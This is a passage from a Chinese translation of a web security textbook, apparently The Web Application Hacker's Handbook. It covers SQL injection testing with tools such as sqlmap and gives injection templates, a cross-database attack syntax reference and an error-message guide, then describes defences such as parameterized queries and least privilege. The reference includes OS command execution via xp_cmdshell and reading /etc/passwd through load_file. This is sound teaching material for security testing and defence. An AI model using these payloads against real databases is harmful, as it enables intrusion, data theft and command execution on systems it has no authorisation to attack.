渗透测试步骤

使用本章前面部分介绍的技巧确定某个SQL注入漏洞后,可以考虑使用SQL注入工具来利用该漏洞,并从数据库中检索有用的数据。在需要使用盲目技巧每次检索少量数据时,这种做法尤其有效。

(1)使用拦截代理服务器运行SQL注入工具,分析该工具提交的请求以及应用程序的响应。打开工具上的任何详细输出选项,并将它的进度与观察到的查询和响应关联起来。

(2)由于这些工具通常依赖预先设置的测试和特定的响应语法,因此,攻击者可能需要将数据附加或前置到这些工具注入的字符串中,以确保获得预期的响应。典型的要求包括添加注释字符、平衡服务器的SQL查询中的单引号,以及将闭括号前置或附加到字符串以与原始查询匹配。

(3)如果尽管采用了上述方法,但查询语法仍然无效,这时,最简单的方法是创建完全受控制的嵌套查询,并使用注入工具注入该子查询。这样,注入工具就可以通过推断来提取数据。在注入标准的SELECT和UPDATE查询时,嵌套查询非常有用。在Oracle中,嵌套查询位于INSERT语句中。下面的示例前置[input]之前的文本,并附加该位置之后的闭括号:

img002 Oracle: ’||(select 1 from dual where 1=[input])

img002 MS-SQL: (select 1 where 1=[input])

有大量工具可用于实施自动SQL注入攻击。其中许多工具针对MS-SQL,其他一些工具已停止开发,并因为新技巧的出现和SQL注入领域的发展而废弃。笔者推荐sqlmap,该工具可用于攻击MySQL、Oracle、MS-SQL及其他数据库。它执行基于UNION和推断的检索,并且支持各种权 限提升方法,包括从操作系统中检索文件,以及在Windows中使用xp_cmdshell执行命令。

实际上,sqlmap是一种通过时间延迟或其他推断方法检索数据库信息的有效工具,并且可用于基于UNION的检索。利用该工具的最佳方法之一,是使用--sql-shell选项。这样,攻击者将能够在SQL提示符下于后台执行必要的UNION、基于错误或盲目的SQL注入,以发送和检索结果。例如:

img263

img264

9.2.13 SQL语法与错误参考

我们已经描述了各种探查与利用Web应用程序中存在的SQL注入漏洞所需的技巧。许多时候,向不同的后端数据库平台实施攻击时需要用到的语法之间存在一些细微的差别。另外,每一种数据库都生成不同的错误消息,当探查各种漏洞以及尝试设计一种有效的利用手段时,需要理解它们的含义。下面简要介绍这些语法和这些语法的适用情况,并解释使用过程中出现的一些不常见的错误消息。

1.SQL语法

要 求 ASCII和SUBSTRING
Oracle ASCII('A')等于65 SUBSTR('ABCDE',2,3)等于BCD
MS-SQL ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD
MySQL ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD
要 求 获取当前数据库用户
Oracle Select Sys.login_user from dual
SELECT user FROM dual
SYS_CONTEXT('USERENV','SESSION_USER')
MS-SQL select suser_sname()
MySQL SELECT user()
要 求 引起时间延迟
Oracle Utl_Http.request('http://madeupserver.com')
MS-SQL waitfor delay '0:0:10' exec master..xp_cmdshell 'ping localhost'
MySQL sleep(100)
要 求 获取数据库版本字符串
Oracle select banner from v$version
MS-SQL select version
MySQL select version
要 求 获取当前数据库
Oracle SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual
MS-SQL select db_name()
获取服务器名称可使用:
select servername
MySQL Select database()
要 求 获取当前用户的权限
Oracle SELECT privilege FROM session_privs
MS-SQL SELECT grantee, table_name, privilege_type FROM
INFORMATION_SCHEMA.TABLE_PRIVILEGES
MySQL SELECT * FROM information_schema.user_privileges
WHERE grantee = '[user]'此处[user]由SELECT user()的输入决定
要 求 在一个单独的结果列中显示所有表和列
Oracle Select table_name||'
'||column_name from all_tab_columns
MS-SQL SELECT table_name+'
',column_name from information_schema.columns
MySQL SELECT CONCAT(table_name+'
',column_name) from information_schema.columns
要 求 显示用户对象
Oracle Select object_name, object_type from user_objects
MS-SQL SELECT name FROM sysobjects
MySQL SELECT table_name FROM information_schema.tables(或trigger_name from
information_schema.triggers等)
要 求 显示用户表
Oracle Select object_name, object_type from user_objectsWHEREobject_type='TABLE'
或者显示用户访问的所有表:SELECT table_name FROM all_tables
MS-SQL SELECT name FROM sysobjectsWHERExtype='U'
MySQL SELECT table_name FROM information_schema.tables
where table_type='BASE TABLE' and table_schema!='mysq1'
要 求 显示表foo的列名称
Oracle Select column_name, Name from user_tab_columns where table_name =
'FOO'如果目标数据不为当前应用程序用户所有,使用ALL_table_columns表
MS-SQL SELECT column_name, FROM information_schema.columns
WHERE table_name='foo'
MySQL SELECT column_name FROM information_schema.columns
WHERE table_name='foo'
要 求 与操作系统交互(最简单的方式)
Oracle 请参阅David Litchfield所著的The Oracle Hacker's Handbook 一书
MS-SQL exec xp_cmshell 'dir c:\'
MySQL select load_file('/etc/passwd')

2.SQL错误消息

Oracle ORA-01756: quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'foo
Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character
string 'foo
MySQL You have an error in your SQL syntax. Check
the manual that corresponds to your MySQL server version for the right
syntax to use near ''foo' at line X
原因 对Oracle和MS-SQL而言,SQL注入确实存在,并且几乎肯定可以加以利用。如果输入一个单引号,它改变数据库查询的语法,这是预料之中的错误
对MySQL而言,SQL注入可能存在,但相同的错误消息可能出现在其他情况下
Oracle PLS-00306: wrong number or types of arguments
in call to 'XXX'
MS-SQL Procedure 'XXX' expects parameter '@YYY',
which was not supplied
MySQL N/A
原因 已经注释掉或删掉一个通常会提交给数据库的变量。在MS-SQL中,应该可以使用时间延迟
枚举获得任意数据
Oracle ORA-01789: query block has incorrect number of
result columns
MS-SQL Msg 205, Level 16, State 1, Line 1
All queries in an SQL statement containing a
UNION operator must have an equal number of
expressions in their target lists.
MySQL The used SELECT statements have a different number of columns
原因 当试图实施UNION SELECT攻击时,就会看到这个错误消息;攻击者指定了一个与原始
SELECT语句不同的列数
Oracle ORA-01790: expression must have same datatype
as corresponding expression
MS-SQL Msg 245, Level 16, State 1, Line 1
Syntax error converting the varchar value
'foo' to a column of data type int.
MySQL (在MySQL中不会造成任何错误)
原因 当试图实施UNION SELECT攻击时,就会看到这个错误消息;攻击者指定了一个与原始
SELECT语句不同的数据类型。尝试使用NULL,或者使用1或2000
Oracle ORA-01722: invalid number
ORA-01858: a non-numeric character was found
where a numeric was expected
MS-SQL Msg 245, Level 16, State 1, Line 1
Syntax error converting the varchar value
'foo' to a column of data type int.
MySQL (在MySQL中不会造成任何错误)
原因 输入与字段中需要的数据类型不匹配。可能存在SQL注入漏洞,可能不需要一个单引号,因
此尝试输入一个数字,后接注入的SQL查询
在MS-SQL中,应该可以利用这条错误消息返回任何字符串
Oracle ORA-00923: FROM keyword not found where expected
MS-SQL N/A
MySQL N/A
原因 下面的语句可在MS-SQL中运行:
SELECT 1
但在Oracle中,如果想要返回任何内容,必须从一个表中选择。使用DUAL表即可:
SELECT 1 from DUAL
Oracle ORA-00936: missing expression
MS-SQL Msg 156, Level 15, State 1, Line 1
Incorrect syntax near the keyword 'from'.
MySQL You have an error in your SQL syntax. Check
the manual that corresponds to your MySQL
server version for the right syntax to use
near ' XXX , YYY from SOME_TABLE' at line 1
原因 当注入点出现在FROM关键字之前(例如,注入了将要返回的列)或使用注释符号删除了不可
缺少的SQL关键字时,常常会看到这条错误消息

尝试使用注释字符结束SQL语句

当遇到这种条件时,MySQL可以揭示列名XXX, YYY
Oracle ORA-00972: identifier is too long
MS-SQL String or binary data would be truncated.
MySQL N/A
原因 这条错误消息并不表示存在SQL注入漏洞。如果遇到一个超长的字符串,可能会看到这条错
误消息。也不可能遇到缓冲区溢出,因为数据库正在安全地处理输入
Oracle ORA-00942: table or view does not exist
MS-SQL Msg 208, Level 16, State 1, Line 1
Invalid object name 'foo'
MySQL Table 'DBNAME.SOMETABLE' doesn't exist
原因 要么是因为正试图访问一个不存在的表或视图,要么在Oracle中,数据库用户并不拥有访问
该表或视图的权限。对一个已知能够访问的表(如DUAL表)测试查询

当遇到这种条件时,MySQL应可以揭示当前的数据库模式DBNAME
Oracle ORA-00920: invalid relational operator
MS-SQL Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near foo
MySQL You have an error in your SQL syntax. Check
the manual that corresponds to your MySQL
server version for the right syntax to use
near '' at line 1
原因 可能更改了WHERE子句的内容,SQL注入试图使语法中断
Oracle ORA-00907: missing right parenthesis
MS-SQL N/A
MySQL You have an error in your SQL syntax. Check
the manual that corresponds to your MySQL
server version for the right syntax to use
near '' at line 1
原因 SQL注入生效,但注入点在圆括号内。可能是由于用注入的注释字符(--)把结尾的圆括号
当做注释处理了
Oracle ORA-00900: invalid SQL statement
MS-SQL Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near foo
MySQL You have an error in your SQL syntax. Check
the manual that corresponds to your MySQL
server version for the right syntax to use
near XXXXXX
原因 一条常规错误消息。前面列出的错误消息会优先于这条错误消息显示,因此肯定出现了其他
问题。可以尝试另一种输入,以获得一条提供更多信息的消息
Oracle ORA-03001: unimplemented feature
MS-SQL N/A
MySQL N/A
原因 执行了一个Oracle禁止的操作。如果位于UPDATE或INSERT查询中,但却试图从v$version
显示数据库版本字符串,就会出现这条消息
Oracle ORA-02030: can only select from fixed tables/views
MS-SQL N/A
MySQL N/A
原因 可能试图编辑一个SYSTEM视图。如果位于UPDATE或INSERT查询中,但却试图从
v$version显示数据库版本字符串,就会出现这条消息

9.2.14 防止SQL注入

尽管其表现形式和利用手段的复杂程度各不相同,但通常而言,SQL注入仍然是最容易防御的漏洞之一。然而,关于SQL注入应对措施的讨论经常造成误导,许多人都依赖仅部分有效的防御措施。

1.部分有效的防御措施

由于单引号在SQL注入漏洞中占有突出地位,防御这种攻击的一种常用方法,就是将用户输入中的任何单引号配对,对它们进行转义。但是,在下面两种情况下,这种方法无效。

img002 如果用户提交的数字数据内置在SQL查询中,这种数据通常并不包含在单引号内。因此,攻击者能够破坏数据的使用环境并开始输入任意SQL查询,这时就不必输入单引号。

img002 在二阶SQL注入攻击中,最初在插入数据库中时已经安全转义的数据随后被从数据库中读取出来,然后又再次写入。当重新使用数据时,最初配对的引号又恢复到单引号形式。

另一种常用的应对措施是使用存储过程完成全部数据库访问。无疑,定制的存储过程可增强安全性,提高性能;然而,由于两方面的原因,它们并不能保证防止SQL漏洞。

img002 如在使用Oracle的示例中所见,编写存在缺陷的存储过程可能在自身代码中包含SQL注入漏洞。在存储过程中构建SQL语句时也可能出现类似的安全问题,使用存储过程也无法防 止漏洞产生。

img002 即使使用安全可靠的存储过程,但如果使用用户提交的输入以不安全的方式调用这个存储过程,也仍然可能出现SQL注入漏洞。例如,假设用户注册功能在一个存储过程中执行,该存储过程通过以下方式调用:

img270a

这个语句和一个简单的INSERT语句一样易于受到攻击。例如,攻击者可以提交以下密码:

img270b

应用程序将执行以下批量查询:

img270c

因此使用存储过程并没有作用。

实际上,功能复杂的大型应用程序需要执行成千上万条不同的SQL语句,许多开发者认为,使用存储过程重复执行这些语句是对开发时间的不合理利用。

2.参数化查询

大多数数据库和应用程序开发平台都提供API,对不可信的输入进行安全处理,以防止SQL注入漏洞。参数化查询(也叫预处理语句)分两个步骤建立一个包含用户输入的SQL语句。

(1)应用程序指定查询结构,为用户输入的每个数据预留占位符。

(2)应用程序指定每个占位符的内容。

至关重要的是,在第二个步骤中指定的专门设计的数据无法破坏在第一个步骤中指定的查询结构。因为查询结构已经确定,且相关API对所有类型的占位符数据进行安全处理,因此它总被解释为数据,而不是语句结构的一部分。

下面的两个代码示例说明了使用用户数据动态创建的一个不安全查询与相应的参数化查询之间的差异。在第一段代码中,用户提交的name参数被直接嵌入到一个SQL语句中,致使应用程序易于受到SQL注入:

img270d

第二段代码使用一个问号作为用户提交参数的占位符,以确定查询的结构。随后,代码调用prepareStatement方法解释这个参数,并确定将要执行的查询结构。之后,它使用setString方法指定参数的实际值。由于查询的结构已经固定,这个值可为任何数据类型,而不会影响查询的结构。于是查询得以安全执行:

img271

img001  注解  建立参数化查询实际需要的方法和语法因数据库和应用程序开发平台而异。请参阅第18章了解一些最常用的示例。

使用参数化查询可有效防止SQL注入,但还要注意以下几个重要的限制。

img002 应在每一个数据库查询中使用参数化查询。我们发现,在开发应用程序的过程中,对于每一个查询,开发者都要判断是否使用参数化查询。如果明显要应用用户提交的输入,就使用参数化查询;否则就不使用。这种方法是造成许多SQL注入漏洞的根源所在。首先,仅注意由用户直接提交的输入,二阶攻击就很容易被忽略,因为已经被处理的数据被认为是可信的。其次,在处理用户可控制的数据这种特殊的情况下,我们很容易犯错。在大型应用程序中,各种数据项被保存在会话中,或者由客户端提交。其他人可能并不知道开发者作出的假设。特殊数据的处理方式将来可能发生改变,在以前安全的查询中引入SQL注入漏洞。因此,规定在整个应用程序中都使用参数化查询更安全。

img002 插入查询中的每一种数据都应适当进行参数化。我们遇到过许多这样的示例:查询中的大多数参数都得到安全处理,然而,有一两个数据项可直接连接到用于指定查询结构的字符串中。如果以这种方式处理某些参数,即使使用参数化查询,也无法防止SQL注入。

img002 参数占位符不能用于指定查询中表和列的名称。在极少数情况下,应用程序需要根据用户提交的数据在一个SQL查询中指定这些数据项。当遇到这种情况时,最好使用一份由已知可靠的值组成的“白名单”(即数据库实际使用的表和列名单),并拒绝任何与这份名单上的数据不匹配的输入项。如果无法做到这一点,就应对用户输入实施严格的确认机制,例如,只允许字母数字字符(不包括空白符),并执行适当的长度限制。

img002 参数占位符不能用于查询的任何其他部分,如ORDER BY子句中的ASC或DESC关键字,或任何其他SQL关键字,因为它们属于查询结构的一部分。与表和列名称一样,如果需要基于用户提交的数据指定这些项目,则必须对其执行严格的白名单确认,以防止可能的攻击。

3.深层防御

通常,一种稳定的安全机制应采用深层防御措施提供额外的保护,以防止前端防御由于任何原因失效。当防御针对后端数据库的攻击时,应采用另外三层防御。

img002 当访问数据库时,应用程序应尽可能使用最低权限的账户。一般情况下,应用程序并不需要数据库管理员权限,它只需要读取并写入自己的数据。在注重安全的情况下,应用程序可以使用另一个数据库账户执行各种操作。例如,如果90%的数据库查询只需要读取访问,就可以使用一个并不具有写入权限的账户执行这些查询。如果某个查询只需要读取一部分数据(例如,读取订单表而不是用户账户表),这时就可以使用一个拥有相应访问权限的账户。如果可以在整个应用程序中实施这种方法,就可以降低任何剩余SQL注入漏洞给应用程序造成的影响。

img002 许多企业数据库包含大量默认功能,可被能够执行任意SQL语句的攻击者利用。如有可能,应删除或禁用不必要的功能。即使有时候技术熟练、蓄意破坏的攻击者能够通过其他方法重新建立一些必需的功能,但做到这一点通常需要复杂的操作,而且数据库实施的强化措施也会给攻击者造成难以逾越的障碍。

img002 应评估、测试并及时安装供应商发布的所有安全补丁,以修复数据库软件本身已知的漏洞。在注重安全的情况下,数据库管理员可以使用各种预订服务(subscriber-based service)提前了解一些供应商尚未公布补丁的已知漏洞,及时采取适当的防御措施。